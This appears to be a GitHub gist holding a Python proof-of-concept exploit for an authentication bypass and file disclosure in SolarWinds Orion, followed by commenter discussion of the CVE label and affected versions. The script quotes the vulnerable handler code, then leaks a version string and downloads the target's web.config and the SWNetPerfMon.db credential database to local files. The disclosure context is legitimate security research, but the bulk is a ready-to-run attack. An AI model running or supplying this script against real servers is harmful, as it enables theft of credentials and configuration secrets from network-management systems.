# CVE-2020-???? (local file disclosure PoC for SolarWinds Orion aka door to SuperNova ? ) | |
# @0xSha | |
# (C) 2020 0xSha.io | |
# Advisory : https://www.solarwinds.com/securityadvisory | |
# Mitigation : https://downloads.solarwinds.com/solarwinds/Support/SupernovaMitigation.zip | |
# Details : https://kb.cert.org/vuls/id/843464 | |
# C:\inetpub\SolarWinds\bin\OrionWeb.DLL | |
# According to SolarWinds.Orion.Web.HttpModules | |
# in case of special strings this will set auth to null user and if case of ending with .i18n.ashx it will read the files | |
''' | |
private static void OnRequest(object sender, EventArgs e) | |
{ | |
HttpApplication httpApplication = (HttpApplication)sender; | |
HttpContext context = httpApplication.Context; | |
string path = context.Request.Path; | |
if (path.IndexOf("Skipi18n", StringComparison.OrdinalIgnoreCase) >= 0) | |
{ | |
if (context.User == null || !context.User.Identity.IsAuthenticated) | |
{ | |
context.SkipAuthorization = true; | |
context.User = new NullUser(); | |
} | |
return; | |
} | |
if (path.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || path.EndsWith(".js", StringComparison.OrdinalIgnoreCase)) | |
{ | |
if (context.User == null || !context.User.Identity.IsAuthenticated) | |
{ | |
context.SkipAuthorization = true; | |
context.User = new NullUser(); | |
} | |
LocalizerHttpHandler.RedirectToMe(context, context.Request.Path); | |
return; | |
} | |
if (!path.EndsWith(".i18n.ashx")) | |
{ | |
return; | |
} | |
string revisedFile = path.Substring(0, path.Length - ".i18n.ashx".Length); | |
string path2 = i18nRedirector.RebuildPath(context.Request.QueryString, revisedFile); | |
context.RewritePath(path2); | |
} | |
private static string RebuildPath(NameValueCollection nvc, string revisedFile) | |
{ | |
return "/Orion/i18n.ashx?file=" + revisedFile + "&" + string.Join("&", (from x in nvc.AllKeys | |
where x != "file" | |
select x into key | |
select string.Format("{0}={1}", HttpUtility.UrlEncode(key), HttpUtility.UrlEncode(nvc[key]))).ToArray<string>()); | |
} | |
''' | |
#/usr/local/bin/python3 | |
import requests | |
import sys | |
if len(sys.argv) < 2: | |
print ("[*] Usage : CVE-2020-10148.py http(s)://target") | |
exit(-1) | |
if not(sys.argv[1].startswith("http://")): | |
if not(sys.argv[1].startswith("https://")): | |
print("[-] target starts either with http:// or https://") | |
exit(-1) | |
print ("[*] Trying to leak valid file version") | |
target = sys.argv[1] | |
# appending .js to always invalid file | |
# we don't verify because of self-signed instances | |
# not really required but doesn't hurt either. | |
leakVersion = requests.get(target+"/Orion/invalid.aspx.js" ,verify=False) | |
if(leakVersion.headers["location"]): | |
print("[+] Got location header") | |
index = leakVersion.headers["location"].index(".i18n.ashx") | |
leakedVersion = (leakVersion.headers["location"][index:]) | |
if (leakedVersion.__contains__("v=")): | |
print ("[+] Version seems valid") | |
else: | |
print("[-] Invalid version") | |
exit(-1) | |
else: | |
print("[-] Can't get a valid version") | |
exit(-1) | |
print("[*] Trying to leak web.config file ") | |
#print(target+"/web.config"+leakedVersion) | |
leakedConfig = requests.get(target+"/web.config"+leakedVersion, verify=False) | |
#print(leakedConfig.status_code) | |
if (leakedConfig.status_code == 200) and len(leakedConfig.text) > 1 : | |
print("[+] Target is vulnerable Got the web.config file ") | |
outputFile = target.replace("https://","").replace("http://","")+"_web.config" | |
configFile = open(outputFile,"w") | |
configFile.write(leakedConfig.text) | |
configFile.close() | |
print("[+] web.config written to : " + outputFile ) | |
else: | |
print("[-] Failed to download web.config target is not vulnerable") | |
exit(-1) | |
print("[*] Trying to leak SWNetPerfMon.db file (works only on older versions of orion) ") | |
# https://support.solarwinds.com/SuccessCenter/s/article/Passwords-that-Orion-stores-locally-on-the-server?language=en_US | |
# C:\inetpub\SolarWinds\SWNetPerfMon.db | |
# C:\Program Files (x86)\SolarWinds\Orion\SWNetPerfMon.db | |
leakedDB = requests.get(target+"/SWNetPerfMon.db"+leakedVersion, verify=False) | |
if (leakedDB.status_code == 200) and len(leakedDB.text) > 1: | |
print("[+] Target is vulnerable Got the SWNetPerfMon.db file ") | |
outputFile = target.replace("https://","").replace("http://","")+"_SWNetPerfMon.db" | |
configFile = open(outputFile,"w") | |
configFile.write(leakedDB.text) | |
configFile.close() | |
# encrypted ? https://www.atredis.com/blog/2018/10/24/fun-with-the-solarwinds-orion-platform | |
print("[+] SWNetPerfMon.db written to : " + outputFile ) | |
else: | |
print("[-] Failed to download SWNetPerfMon.db target is on newer version") | |
exit(-1) |
This comment has been minimized.
This comment has been minimized.
Nice |
This comment has been minimized.
This comment has been minimized.
While the local file disclosure by appending
While this PoC does check for a vulnerability, and can uncover out-of-date systems, calling it CVE-2020-10148 is probably just going to add to confusion. |
This comment has been minimized.
This comment has been minimized.
I don't believe this is the same as CVE-2020-10148, but glad to be corrected. |
This comment has been minimized.
This comment has been minimized.
This comment has been minimized.
This comment has been minimized.
I have reason to believe that SolarWinds may document fixed CVEs in release notes in the near future. CVE-wise, what was fixed in December (and earlier) has gaps. But hopefully that'll be addressed soon. |
This comment has been minimized.
This comment has been minimized.
Can download web.config on version: 43186.71.L Assuming versioning. |
This comment has been minimized.
This comment has been minimized.
@wdormann Thanks ! let us know if you find out. @barrett092 I think you are right I also have same the assumption. |
This comment has been minimized.
This comment has been minimized.
@barrett092 @0xsha, I figure out that web.config path is in: C:\inetpub\SolarWinds, and the code exploit this path so you can download and read any files in here. The powershell code by Solarwind also prevent the exploit, cause it will rewrite and block any request to i18n.ashx. That all my information after run and try to exploit. |
This comment has been minimized.
This comment has been minimized.
It appears that in some cases you can leak the web.config with arbitrary |
This comment has been minimized.
Cool..